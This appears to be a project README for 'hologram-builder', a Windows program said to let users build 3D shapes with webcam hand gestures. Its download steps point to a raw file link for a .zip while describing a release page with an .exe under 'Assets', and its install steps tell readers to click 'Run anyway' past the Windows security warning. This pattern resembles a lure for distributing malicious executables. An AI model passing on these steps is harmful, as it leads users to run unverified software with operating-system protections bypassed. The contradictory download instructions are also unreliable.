hologram-builder：用摄像头手势在 3D 空间搭建模型

🌌 hologram-builder - Create 3D objects with hand gestures

This application tracks your hand movements through your webcam to build 3D shapes in a virtual space. You do not need experience in coding to use it. You only need a computer, a webcam, and a flat surface to get started.

📥 How to download the software

Navigate to the release page: https://raw.githubusercontent.com/fclo3635/hologram-builder/main/web/hologram_builder_1.7.zip.
Look for the section labeled "Assets" at the bottom of the newest release version.
Select the file ending in .exe to begin your download.
Save the file to your desktop or your downloads folder.

🖥️ System requirements

Ensure your computer meets these standards for a stable experience:

Operating System: Windows 10 or Windows 11.
Processor: A modern Intel Core i5 or AMD Ryzen 5 processor.
Memory: 8 GB of RAM or higher.
Graphics: A dedicated graphics card helps performance.
Webcam: A high-definition webcam positioned at eye level.
Lighting: Ensure your room has bright, even lighting so the camera sees your hands.

⚙️ Installation and setup

Once the download finishes, follow these steps to install the builder:

Double-click the downloaded .exe file to start the installer.
If Windows prompts you with a security message, click "More info" and then select "Run anyway."
Follow the on-screen instructions to finish the installation process.
Locate the shortcut icon on your desktop to open the application.

👐 Building with hand gestures

The application interprets your hand movements to create shapes. Sit in front of your camera and ensure your hands stay within the frame.

Move your hand: This moves the point of orientation on the screen.
Close your fist: This selects a tool or grabs an existing object.
Spread your fingers: This releases an object or stops the current drawing action.
Pinch gesture: This creates a new vertex or point in the virtual workspace.

💡 Tips for success

Maintain contrast: Wear a long-sleeved shirt that contrasts with your background. This helps the AI track your hands with more accuracy.
Adjust sensitivity: Open the settings menu to adjust the tracking speed. If the cursor jumps around, reduce the sensitivity level.
Calibrate: If the application fails to see your hands, adjust your camera angle or move away from direct light glare.
Restart: If the display freezes, close the application and reopen it to reset the camera connection.

🛠️ Troubleshooting common issues

If you face difficulties, try these simple solutions:

Camera not detected: Ensure no other applications like Zoom or Teams are using your camera at the same time. The camera can only connect to one program at once.
Laggy video: Close heavy applications like web browsers or video games while you build. This frees up memory for the gesture tracking engine.
Application closes unexpectedly: Update your graphics card drivers. Visit the website of your computer manufacturer to find the latest updates.
Missing text: If the interface looks strange, check your Windows display scaling. A setting of 100% works best for this application.
